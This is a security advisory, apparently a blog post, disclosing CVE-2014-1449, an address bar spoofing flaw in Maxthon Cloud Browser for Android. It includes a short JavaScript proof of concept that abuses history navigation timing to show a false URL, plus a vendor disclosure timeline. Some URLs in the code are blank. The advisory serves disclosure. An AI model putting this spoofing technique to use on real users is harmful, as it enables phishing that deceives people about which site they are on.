Monday, March 10, 2014

[CVE-2014-1449] Maxthon Cloud Browser for Android Address Bar Spoofing

# Vulnerability: Maxthon Cloud Browser for Android Address Bar Spoofing
# Date: 10.01.2014
# Software Link:
# Vulnerable version:
# Tested on: Android 4.4
# CVE: CVE-2014-1449
# Author: Pawel Wylecial
1. Background

Description from the vendor website: "Maxthon Cloud Browser for Android is the first multi-tab browser with Maxthon’s innovative Cloud Services, including: Cloud Tabs, Cloud Push, Cloud Download and bookmarks/favorites syncing. With its cool design and out of the box features like Super Gestures, Reader Mode, App Center and more, this browser delivers a fresh and original browsing experience."

2. Vulnerability

Maxthon for Android is vulnerable to Address Bar Spoofing. Using the history API it was possible to spoof the URL in the address bar which could trick the user that he is visiting a different site than he thinks.

3. Proof of Concept

function trigger() {
        w ="");
        w.location = "";
        setTimeout('w.location = "a.html"', 1000);
        setTimeout('w.history.back();', 2000);
        setTimeout('w.history.forward();', 2100);
<a href="javascript:trigger();">click</a>

PoC in action:

4. Fix

No response from the vendor, silent fix applied in (can't confirm here, updated straight to or

5. Timeline

10.01.2014 - vulnerability reported
15.01.2014 - second e-mail
21.01.2014 - third
22.01.2014 - *silent fix applied (?),
29.01.2014 - last try

10.03.2014 - advisory published